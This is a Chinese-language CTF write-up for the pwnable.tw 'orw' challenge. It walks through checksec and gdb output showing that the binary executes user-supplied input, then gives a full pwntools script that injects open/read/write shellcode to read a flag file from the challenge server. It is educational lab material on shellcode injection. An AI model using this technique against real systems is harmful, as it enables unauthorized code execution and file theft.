ORW

参考资料:

首先检查安全保护等级:

1
2
3
4
5
6
7
8
$ checksec orw
[*] '/media/data/program/ctf/pwnable/orw/orw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

可以看到这个程序开启了以下保护机制:

  • Canary 开启,部分 RELOAD,还有 RWX 读写执行段。

gdb 里面可以查看 main 函数的汇编代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x08048330  _init
0x08048370  read@plt
0x08048380  printf@plt
0x08048390  __stack_chk_fail@plt
0x080483a0  __libc_start_main@plt
0x080483b0  prctl@plt
0x080483c0  __gmon_start__@plt
0x080483d0  _start
0x08048400  __x86.get_pc_thunk.bx
0x08048410  deregister_tm_clones
0x08048440  register_tm_clones
0x08048480  __do_global_dtors_aux
0x080484a0  frame_dummy
0x080484cb  orw_seccomp
0x08048548  main
0x080485a0  __libc_csu_init
0x08048600  __libc_csu_fini
0x08048604  _fini

(gdb) disas main
Dump of assembler code for function main:
   0x08048548 <+0>:     lea    0x4(%esp),%ecx
   0x0804854c <+4>:     and    $0xfffffff0,%esp
   0x0804854f <+7>:     pushl  -0x4(%ecx)
   0x08048552 <+10>:    push   %ebp
   0x08048553 <+11>:    mov    %esp,%ebp
   0x08048555 <+13>:    push   %ecx
   0x08048556 <+14>:    sub    $0x4,%esp
   0x08048559 <+17>:    call   0x80484cb <orw_seccomp>
   0x0804855e <+22>:    sub    $0xc,%esp
   0x08048561 <+25>:    push   $0x80486a0
   0x08048566 <+30>:    call   0x8048380 <printf@plt>
   0x0804856b <+35>:    add    $0x10,%esp
   0x0804856e <+38>:    sub    $0x4,%esp
   0x08048571 <+41>:    push   $0xc8
   0x08048576 <+46>:    push   $0x804a060
   0x0804857b <+51>:    push   $0x0
   0x0804857d <+53>:    call   0x8048370 <read@plt>
   0x08048582 <+58>:    add    $0x10,%esp
   0x08048585 <+61>:    mov    $0x804a060,%eax
   0x0804858a <+66>:    call   *%eax
   0x0804858c <+68>:    mov    $0x0,%eax
   0x08048591 <+73>:    mov    -0x4(%ebp),%ecx
   0x08048594 <+76>:    leave  
   0x08048595 <+77>:    lea    -0x4(%ecx),%esp
   0x08048598 <+80>:    ret    
End of assembler dump.

可见这是一个有着完整编译结构的文件,我们主要看 main 函数中的主要功能:

  1. 在栈顶是 %ecx = 0x4(%esp) 的情况下,在 *main+17 行调用了函数 orw_seccomp

  2. 传入字符串 0x80486a0,调用 printf@plt 函数。可以在 gdb 中查看字符串的内容:

    1
    2
    
    (gdb) x /s 0x80486a0
    0x80486a0:      "Give my your shellcode:"
    
  3. *main+41 ~ *main+51 行,函数通过三个参数调用了 read@plt 函数:

    1
    
    read(0x0, 0x804a060, 0xc8)
    
  4. *main+61 ~ *main+66 行,函数直接将传入的字符串作为一个函数进行了调用。

因此程序的逻辑就是:传入一个 shellcode 后这个 shellcode 会被执行。我们尝试直接按照题目的提示进行编写(flag 在文件 /home/orw/flag 中,并且只允许使用 open,read,write 三个函数):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
#coding=utf-8
from pwn import *

class Challenge:
    def __init__(self, local=True):
        self.local = local
        if local:
            self.p = process(['./orw'])
        else:
            self.p = remote("chall.pwnable.tw", 10001)

    def gdb(self):
        assert self.local
        context.terminal = ['tmux', 'splitw', '-h']
        gdb.attach(proc.pidof(self.p)[0])

    def inject_shellcode(self):
        self.p.recvuntil(":")
        shellcode = asm("\n".join([
            shellcraft.i386.pushstr("/home/orw/flag"),
            shellcraft.i386.linux.syscall("SYS_open", 'esp'),
            shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30),
            shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
        ]))
        assert len(shellcode) < 0xc8
        self.p.send(shellcode)

    def pwn(self):
        self.inject_shellcode()
        self.p.interactive()
        self.p.wait_for_close()


if __name__ == "__main__":
    c = Challenge(False)
    c.pwn()

也可以跟 start 一样,我们可以直接使用 80 中断调用这三个函数。